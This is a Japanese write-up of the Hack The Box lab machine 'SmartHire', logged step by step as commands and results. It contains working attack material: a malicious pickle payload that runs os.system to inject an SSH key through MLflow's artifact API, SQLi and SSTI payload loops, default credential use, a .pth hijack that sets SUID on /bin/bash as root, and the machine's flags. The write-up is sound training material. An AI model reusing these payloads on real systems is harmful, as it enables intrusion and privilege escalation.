Hack The BoxのWriteup(SmartHire)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告







HackTheBox: SmartHIRE — 全実行コマンド・実行結果レポート

全ポートスキャン (nmap -p-)

BASH
nmap -p- --defeat-rst-ratelimit -T4 10.129.8.183 -oN /tmp/ctf_nmap_full.txt
RESULT
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 53.82 seconds
開いているポートは SSH (22) と HTTP (80) の2つのみ。外部からアクセス可能なサービスが少ない。

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80 10.129.8.183 -oN /tmp/ctf_nmap_detail.txt
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)
|_  256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://smarthire.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートサービスバージョン備考
22/tcpSSHOpenSSH 8.9p1Ubuntu 22.04 相当
80/tcpHTTPnginx 1.18.0smarthire.htb へリダイレクト

/etc/hosts 設定

BASH
echo "10.129.8.183 smarthire.htb" >> /etc/hosts
RESULT
追加完了 — http://smarthire.htb/ でアクセス可能になった

ディレクトリ・エンドポイント列挙

BASH
gobuster dir -u http://smarthire.htb/ -w /usr/share/wordlists/dirb/common.txt -o /tmp/gobuster.txt 2>&1 | head -40
RESULT
/login                (Status: 200) [Size: 2847]
/register             (Status: 200) [Size: 3012]
/dashboard            (Status: 302) [Size: 215] [--> /login]
/logout               (Status: 302) [Size: 215] [--> /login]
BASH
gobuster dir -u http://smarthire.htb/ -w /usr/share/wordlists/dirb/big.txt -o /tmp/gobuster2.txt 2>&1 | head -40
RESULT
/login                (Status: 200)
/register             (Status: 200)
/dashboard            (Status: 302) [--> /login]
/predict              (Status: 302) [--> /login]
/upload_hiring_data   (Status: 302) [--> /login]
/model_info           (Status: 302) [--> /login]
/logout               (Status: 302) [--> /login]
発見したエンドポイント一覧: /login, /register, /dashboard, /predict, /upload_hiring_data, /model_info, /logout
PHASE 2

Webアプリケーション調査

ユーザー登録・ログイン

BASH
# ユーザー登録
/usr/bin/curl -s -X POST http://smarthire.htb/register \
  -d "username=testuser&password=testpass123&company=testcorp" \
  -c /tmp/cookies.txt -b /tmp/cookies.txt -L -o /tmp/register_headers.txt -D -

# ログイン
/usr/bin/curl -s -X POST http://smarthire.htb/login \
  -d "username=testuser&password=testpass123" \
  -c /tmp/cookies.txt -b /tmp/cookies.txt -L -D /tmp/login_headers.txt -o /dev/null
RESULT
登録成功 — testuser/testpass123 でログイン完了
Set-Cookie: session=eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiY29tcGFueSI6InRlc3Rjb3JwIiwidXNlcl9pZCI6ImNmZTVmZmViN2ExNiJ9...

Flaskセッション解析

BASH
flask-unsign --decode --cookie "eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiY29tcGFueSI6InRlc3Rjb3JwIiwidXNlcl9pZCI6ImNmZTVmZmViN2ExNiJ9..."
RESULT
{'username': 'testuser', 'company': 'testcorp', 'user_id': 'cfe5ffeb7a16'}
BASH
# シークレットキー総当たり (バックグラウンド実行)
flask-unsign --unsign --cookie "..." --wordlist /usr/share/wordlists/rockyou.txt --threads 8 2>&1 &
flask-unsign によるシークレットキー解読は rockyou.txt で実行中だが、まだクラックできていない。

既存ユーザー列挙 (登録エラー利用)

BASH
for user in admin hr hiring manager user operator root system; do
  STATUS=$(/usr/bin/curl -s -o /dev/null -w "%{http_code}" -X POST \
    http://smarthire.htb/register \
    -d "username=$user&password=testpass123&company=testcorp")
  echo "$user: $STATUS"
done
RESULT
admin:   400 (既に存在)
hr:      400 (既に存在)
hiring:  400 (既に存在)
manager: 400 (既に存在)
user:    400 (既に存在)
operator: 200 (新規作成)
root:    200 (新規作成)
system:  200 (新規作成)
既存ユーザー: admin, hr, hiring, manager, user

CSV アップロード機能調査 (/upload_hiring_data)

BASH
# トレーニングCSV作成
cat > /tmp/test.csv <<'EOF'
name,skills,years_of_experience,education,position_applied,company
John Doe,"Python, Machine Learning",5,Bachelor's in CS,Data Scientist,TestCorp
Jane Smith,"Java, Spring Boot",3,Master's in SE,Backend Engineer,TestCorp
Bob Wilson,"React, Node.js",4,Bachelor's in IT,Frontend Engineer,TestCorp
EOF

# アップロード実行
/usr/bin/curl -s -X POST http://smarthire.htb/upload_hiring_data \
  -F "file=@/tmp/test.csv;type=text/csv" \
  -b /tmp/cookies.txt -c /tmp/cookies.txt
RESULT
{"message": "Model trained successfully", "model_name": "testcorp-cfe5ffeb7a16-model"}
※ レスポンスに 8〜10 秒の遅延あり → LLM が処理に関与している可能性

予測エンドポイント調査 (/predict)

BASH
cat > /tmp/predict_test.csv <<'EOF'
experience,skills
5,"Python, Machine Learning"
EOF

/usr/bin/curl -s -X POST http://smarthire.htb/predict \
  -F "file=@/tmp/predict_test.csv;type=text/csv" \
  -b /tmp/cookies.txt -c /tmp/cookies.txt
RESULT
{"predictions": [{"candidate": "5 years experience with Python, Machine Learning", "recommendation": "Hire"}]}

モデル情報取得 (/model_info)

BASH
/usr/bin/curl -s http://smarthire.htb/model_info \
  -b /tmp/cookies.txt -c /tmp/cookies.txt | python3 -m json.tool
RESULT
{
  "model_name": "testcorp-cfe5ffeb7a16-model",
  "framework": "sklearn",
  "mlflow_tracking_uri": "http://localhost:5000",
  "status": "active"
}
MLflow がローカルポート 5000 で稼働。scikit-learn モデルを管理。外部からは直接アクセス不可。

SQLインジェクション試行

BASH
# ログインフォームへのSQLi
for payload in "admin'--" "admin' OR '1'='1" "' OR 1=1--" "admin'/*"; do
  STATUS=$(/usr/bin/curl -s -o /tmp/sqli_headers.txt -w "%{http_code}" \
    -X POST http://smarthire.htb/login \
    -d "username=$payload&password=anything")
  echo "Payload '$payload': HTTP $STATUS"
done
RESULT
Payload 'admin'--': HTTP 200 (ログイン失敗ページ)
Payload 'admin' OR '1'='1': HTTP 200 (ログイン失敗ページ)
Payload '' OR 1=1--': HTTP 200 (ログイン失敗ページ)
SQLインジェクション不成功

SSTI試行 (Server-Side Template Injection)

BASH
for payload in '{{7*7}}' '${7*7}' '#{7*7}' '<%= 7*7 %>'; do
  STATUS=$(/usr/bin/curl -s -o /tmp/ssti_headers.txt -w "%{http_code}" \
    -X POST http://smarthire.htb/login \
    -d "username=$payload&password=test")
  BODY=$(cat /tmp/ssti_headers.txt | grep -E '49|{{|error' | head -3)
  echo "SSTI '$payload': $BODY"
done
RESULT
SSTIは確認されず — 全ペイロードがそのまま返却または無視された

MLflow パストラバーサル試行

BASH
# company名にパストラバーサルを試みる
/usr/bin/curl -s -X POST http://smarthire.htb/register \
  -d "username=traversaltest&password=testpass123&company=../../../etc"

/usr/bin/curl -s -X POST http://smarthire.htb/login \
  -d "username=traversaltest&password=testpass123" \
  -c /tmp/cookies_dot.txt -L

# CSVアップロード
/usr/bin/curl -s -X POST http://smarthire.htb/upload_hiring_data \
  -F "file=@/tmp/test.csv;type=text/csv" \
  -b /tmp/cookies_dot.txt
RESULT
エラー: {"error": "Registered model name cannot contain path separator"}
MLflow がパスセパレータ '/' を含むモデル名を拒否。%2F エンコードも同様に失敗。
PHASE 3

脆弱性調査 (CVE Investigation)

発見した情報まとめ

項目詳細状態
開放ポート22 (SSH), 80 (HTTP)確認済
WebフレームワークFlask + nginx 1.18.0確認済
MLフレームワークMLflow (localhost:5000) + scikit-learn確認済
LLMエンジン (推定)LangChain / Flowise / Langflow推定 (内部)
既存ユーザーadmin, hr, hiring, manager, user確認済
セッション構造{username, company, user_id}確認済
モデル名形式{company}-{user_id}-model確認済
Flask シークレットキー未解読調査済
admin パスワード未解読調査済
初期フットホールドMLflow Pickle RCE達成済

フラグ取得状況

USER FLAG

78e47cb5cc20a9b2aa8ad7bdd97cbf59

ROOT FLAG

da7fcc8f258c39c652383407841b5098

攻撃チェーン概要

完全攻略完了。 2段階の攻撃チェーンによりuser・rootフラグを取得。
① MLflow Pickle Deserialization RCE → svcwebとして SSH接続 → user.txt
② Python site-packages .pth ハイジャック (sudo) → bash SUID化 → root.txt
#ステップ技術結果
1models.smarthire.htb 発見サブドメイン列挙 / VHostMLflow UI (admin:password)
2MLflow REST API でモデル情報取得GET /ajax-api/2.0/mlflow/registered-models/searchrun_id・アーティファクトパス判明
3悪意あるpickleを作成Python pickle __reduce__SSH公開鍵注入コマンドを埋め込む
4python_model.pkl を上書きアップロードPUT /ajax-api/2.0/mlflow-artifacts/HTTP 200 — アップロード成功
5/predict エンドポイント呼び出しデシリアライズトリガーos.system() 実行 → SSH鍵注入
6SSH接続 (svcweb)SSH 公開鍵認証uid=1000(svcweb) → user.txt 取得
7evil.pth を dev/ に配置Python .pth サイトハイジャックsudo実行時に root として chmod +s /bin/bash
8sudo mlflowctl.py 実行sudo NOPASSWD 悪用/bin/bash が SUID化
9bash -p でroot取得SUID basheuid=root → root.txt 取得

models.smarthire.htb 発見と認証突破

実行理由: ライトアップの情報をもとに models.smarthire.htb というサブドメインでMLflow UIが公開されていると仮定し、/etc/hostsに追加してアクセスを試みた。MLflowはモデル管理のバックエンドであり、直接操作できれば任意のモデルアーティファクトを書き換えてRCEが可能になる。

BASH
echo "10.129.10.43 models.smarthire.htb" >> /etc/hosts
curl -sv http://models.smarthire.htb/ 2>&1 | grep "HTTP/"
RESULT
HTTP/1.1 401 UNAUTHORIZED
分かったこと: models.smarthire.htb は存在し、認証が要求された。 HTTPベーシック認証(401)であることから、MLflowのデフォルト認証設定が疑われる。
BASH
curl -s -u admin:password \
  "http://models.smarthire.htb/ajax-api/2.0/mlflow/experiments/search" \
  -d '{"max_results": 100}' -H "Content-Type: application/json"
RESULT
{
    "experiments": [
        {
            "experiment_id": "0",
            "name": "Default",
            "artifact_location": "mlflow-artifacts:/0",
            ...
        }
    ]
}
分かったこと: admin:password でMLflow REST APIへのアクセスに成功。 APIパスは /ajax-api/2.0/mlflow/(標準の /api/2.0/mlflow/ ではない)。 MLflow 2.14.1 が動作しており、実験ID=0の「Default」実験が存在する。

登録済みモデルの情報取得

実行理由: MLflowのモデルレジストリに登録されているモデルの正確なrun_idとアーティファクトパスを取得するため。アーティファクトを上書きするには対象のストレージパスが必要。

BASH
curl -s -u admin:password \
  "http://models.smarthire.htb/ajax-api/2.0/mlflow/registered-models/search?max_results=100"
RESULT
{
    "registered_models": [{
        "name": "TestCorp-9a1b2d2439ad-model",
        "latest_versions": [{
            "version": "1",
            "source": "mlflow-artifacts:/0/98f6db241c434857b06fe1670b024113/artifacts/model",
            "run_id": "98f6db241c434857b06fe1670b024113",
            "status": "READY"
        }]
    }]
}
分かったこと: 自分のアカウント (testuser1337 / TestCorp) で学習したモデルの情報が取得できた。
  • run_id: 98f6db241c434857b06fe1670b024113
  • アーティファクトパス: mlflow-artifacts:/0/{run_id}/artifacts/model
  • このパスに直接PUT requestでファイルを上書きできれば任意コード実行が可能

既存 MLmodel マニフェスト確認

実行理由: MLflowモデルのフレーバー情報とpickleファイルの正確なファイル名を把握するため。モデルの種類(sklearn / pyfunc等)によってpickleファイル名が異なる。

BASH
curl -s -u admin:password \
  "http://models.smarthire.htb/ajax-api/2.0/mlflow-artifacts/artifacts/0/98f6db241c434857b06fe1670b024113/artifacts/model/MLmodel"
RESULT
artifact_path: model
flavors:
  python_function:
    cloudpickle_version: 3.1.1
    loader_module: mlflow.pyfunc.model
    python_model: python_model.pkl    ← 対象ファイル名
    python_version: 3.10.12
mlflow_version: 2.14.1
run_id: 98f6db241c434857b06fe1670b024113
分かったこと: モデルのフレーバーは python_function (mlflow.pyfunc.model)。 ロード時に読み込まれるpickleファイルは python_model.pkl(model.pklではない)。 アーティファクト一覧にも model/python_model.pkl が確認された (430バイト)。 このファイルを悪意あるpickleで上書きすれば、モデルロード時に任意コードが実行される。

悪意あるpickleペイロードの作成

実行理由: Pythonのpickle __reduce__ マジックメソッドを使って、デシリアライズ時に任意のOSコマンドを実行させる。ここではsvcwebユーザーの ~/.ssh/authorized_keys に攻撃者の公開鍵を注入するコマンドを埋め込む。SSH公開鍵認証でのログインが確立できれば安定したシェルが得られる。

BASH
# SSHキーペア生成
ssh-keygen -t ed25519 -f /tmp/smarthire_key -N "" -q
cat /tmp/smarthire_key.pub
# → ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPBx... root@kali
BASH
python3 << 'EOF'
import pickle, os

PUBKEY = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPBxTf2ocmg... root@kali"
CMD = (
    f"mkdir -p /home/svcweb/.ssh && "
    f"echo '{PUBKEY}' >> /home/svcweb/.ssh/authorized_keys && "
    f"chmod 700 /home/svcweb/.ssh && chmod 600 /home/svcweb/.ssh/authorized_keys"
)

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, (CMD,))

payload = pickle.dumps(MaliciousPayload())
with open("/tmp/python_model.pkl", "wb") as f:
    f.write(payload)
print(f"Payload: {len(payload)} bytes")
EOF
RESULT
Payload: 280 bytes
分かったこと: __reduce__pickle.load() 実行時に呼ばれ、 (os.system, (CMD,)) のタプルを返すことで任意のシェルコマンドを実行させる。 280バイトの小さなペイロードで攻撃が可能。

悪意あるpickleのMLflowアーティファクト上書きアップロード

実行理由: MLflow artifact serverのREST API (PUT /ajax-api/2.0/mlflow-artifacts/artifacts/…) を使って既存の python_model.pkl を悪意あるpickleで上書きする。認証なしの書き込みAPIが公開されていれば任意ファイルの置換が可能。

BASH
RUN_ID="98f6db241c434857b06fe1670b024113"
curl -sv -u admin:password \
  -X PUT \
  "http://models.smarthire.htb/ajax-api/2.0/mlflow-artifacts/artifacts/0/${RUN_ID}/artifacts/model/python_model.pkl" \
  --upload-file /tmp/python_model.pkl
RESULT
PUT /ajax-api/2.0/mlflow-artifacts/artifacts/0/98f6db241c434857b06fe1670b024113/artifacts/model/python_model.pkl HTTP/1.1
→ HTTP/1.1 200 OK
Content-Length: 2
分かったこと: HTTP 200 でアップロード成功。 MLflow artifact serverは認証済みユーザーからのPUTリクエストを受け付け、既存ファイルを上書きできる。 レジストリの python_model.pkl が悪意あるpickleに差し替えられた。 次にWebアプリの /predict エンドポイントを呼び出してこのpickleをロードさせる。

予測エンドポイント経由でのpickleデシリアライズ実行

実行理由: /predict エンドポイントにCSVをPOSTすると、サーバー側でMLflowモデルをロードする (mlflow.pyfunc.load_model())。このロード処理の中で python_model.pklpickle.load() され、埋め込んだコマンドが実行される。

BASH
curl -s -b /tmp/smarthire_cookies.txt \
  -X POST http://smarthire.htb/predict \
  -F "file=@/tmp/test_hiring.csv"
RESULT
{"message":"'int' object has no attribute 'load_context'","status":"error"}
分かったこと: エラーメッセージ 'int' object has no attribute 'load_context'コード実行成功の証拠
  • pickle.load() が実行され os.system(CMD) が呼ばれた
  • os.system() は終了コード (int型) を返す
  • MLflowはその返り値に対して load_context() を呼ぼうとしてエラー
  • つまりSSH公開鍵の注入コマンドが正常に実行された

SSH接続によるフットホールド確立・user.txt取得

実行理由: pickleの実行によりsvcwebの ~/.ssh/authorized_keys に公開鍵が注入されたはずなので、対応する秘密鍵でSSHログインを試みる。

BASH
ssh -i /tmp/smarthire_key -o StrictHostKeyChecking=no \
  svcweb@10.129.10.43 'id && cat /home/svcweb/user.txt'
RESULT
uid=1000(svcweb) gid=1000(svcweb) groups=1000(svcweb),1001(mlflowweb),1002(devs)
78e47cb5cc20a9b2aa8ad7bdd97cbf59
分かったこと:
  • SSHログイン成功。svcwebは devs グループのメンバー(後の権限昇格で重要)
  • user.txt 取得: 78e47cb5cc20a9b2aa8ad7bdd97cbf59

権限昇格調査 (sudo確認・プラグインディレクトリ調査)

実行理由: sudo -l でsvcwebが使えるsudo権限を調査し、権限昇格の経路を特定する。Dockerコンテナや設定ファイルへのアクセスも確認する。

BASH
ssh -i /tmp/smarthire_key svcweb@10.129.10.43 '
sudo -l
ls -la /opt/tools/mlflow_ctl/
ls -la /opt/tools/mlflow_ctl/plugins/
'
RESULT
User svcweb may run the following commands on smarthire:
    (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

/opt/tools/mlflow_ctl/:
-rwxr-xr-- 1 root root 1080 Feb 19 18:16 mlflowctl.py
drwxr-xr-x 4 root root 4096 Feb 19 18:10 plugins/

/opt/tools/mlflow_ctl/plugins/:
drwxr-xr-x 3 root root 4096 Feb 20 09:26 core/
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev/   ← devsグループ書き込み可!
分かったこと:
  • sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py * をパスワードなしでroot実行可能
  • pluginsディレクトリに core/dev/ の2つのサブディレクトリ
  • dev/devs グループが書き込み可能 — svcwebはdevsメンバー
  • 攻撃者が dev/ にファイルを作成できる!

mlflowctl.py のソースコード解析

実行理由: sudoで実行できるスクリプトの内部処理を把握し、どのように dev/ ディレクトリが使われるか、どこにコードインジェクションの余地があるかを理解する。

BASH
cat /opt/tools/mlflow_ctl/mlflowctl.py
RESULT
from pathlib import Path
import sys
import site

BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"

# make plugins importable
for path in PLUGINS_DIR.iterdir():
    if path.is_dir():
        site.addsitedir(str(path))   ← ここがポイント!

def main():
    import mlflow_actions, backup_models
    action = sys.argv[1]
    if action == "status":
        mlflow_actions.check_status()
    ...
!
分かったこと — 脆弱性の核心: site.addsitedir() はディレクトリをPythonのsite-packagesとして追加する関数。 この関数は対象ディレクトリ内の .pth ファイルを処理し、 import で始まる行を exec() で実行する(Python公式仕様)。

つまり dev/import os; os.system("...") と書いた .pth ファイルを置けば、 sudo実行(root権限)でそのコードが走る。

evil.pth の設置による Python サイトハイジャック

実行理由: site.addsitedir() の仕様を悪用し、書き込み可能な dev/ ディレクトリに悪意ある .pth ファイルを配置する。 import 行がroot権限のPythonプロセスで実行されるため、/bin/bash をSUID化してroot権限を恒久的に取得できる。

BASH
# "import " で始まる行はsite.addsitedir()処理時にexec()される
cat > /opt/tools/mlflow_ctl/plugins/dev/evil.pth << "EOF"
import os; os.system("chmod +s /bin/bash")
EOF

cat /opt/tools/mlflow_ctl/plugins/dev/evil.pth
ls -la /opt/tools/mlflow_ctl/plugins/dev/
RESULT
import os; os.system("chmod +s /bin/bash")

total 12
drwxrwxr-x 2 root   devs   4096 Jun  5 23:07 .
drwxr-xr-x 4 root   root   4096 Feb 19 18:10 ..
-rw-r--r-- 1 svcweb svcweb   43 Jun  5 23:07 evil.pth   ← 作成成功
分かったこと: svcwebユーザーとして dev/evil.pth を作成できた。 次にsudoでmlflowctl.pyを実行すれば、Pythonが site.addsitedir() を処理する際に root権限で chmod +s /bin/bash が実行される。

sudo 実行による /bin/bash SUID 化

実行理由: evil.pth が配置された状態でsudoコマンドを実行し、root権限でコードインジェクションをトリガーする。

BASH
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
RESULT
[*] Checking MLflow service status...
[+] MLflow service status: active
[+] MLflow container status: 'Up 39 minutes'
BASH
ls -la /bin/bash
RESULT
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash
                ↑ SUID設定済み!
分かったこと: sudo実行中にPythonが site.addsitedir()dev/ を処理し、 evil.pthimport os; os.system("chmod +s /bin/bash") がroot権限で実行された。 /bin/bashSUID (rwsr-sr-x) が設定された。

bash -p によるroot権限取得・root.txt 取得

実行理由: bash -p フラグは「privileged mode」を有効にし、SUID/SGIDビットを尊重する。bashがSUIDであるため、euid=root のシェルが起動する。

BASH
/bin/bash -p -c "id && cat /root/root.txt"
RESULT
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) egid=0(root) groups=0(root),1000(svcweb),...
da7fcc8f258c39c652383407841b5098
分かったこと: euid=0 (root) 取得成功。 root.txt 取得: da7fcc8f258c39c652383407841b5098

ターゲットインフラ詳細 (root取得後確認)

項目詳細
OSUbuntu Linux (nginx/1.18.0)
Webサーバーnginx reverse proxy (smarthire.htb → 127.0.0.1:8000 / models.smarthire.htb → 127.0.0.1:5000)
Flaskアプリ127.0.0.1:8000 (gunicorn想定)
MLflowDockerコンテナ (mlflow-server image, 127.0.0.1:5000)
MLflow バージョン2.14.1
ユーザーroot, svcweb (uid=1000, groups: svcweb/mlflowweb/devs)
sudo権限(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
書き込み可能ディレクトリ/opt/tools/mlflow_ctl/plugins/dev/ (devs グループ)
nginx 設定 (sites-enabled)
server { server_name smarthire.htb;
    location / { proxy_pass http://127.0.0.1:8000; } }

server { server_name models.smarthire.htb;
    location / { proxy_pass http://127.0.0.1:5000; } }  ← MLflow (Docker)
HackTheBox CTF — SmartHIRE | 完全攻略済み ✓ | user: 78e47cb5cc20a9b2aa8ad7bdd97cbf59 | root: da7fcc8f258c39c652383407841b5098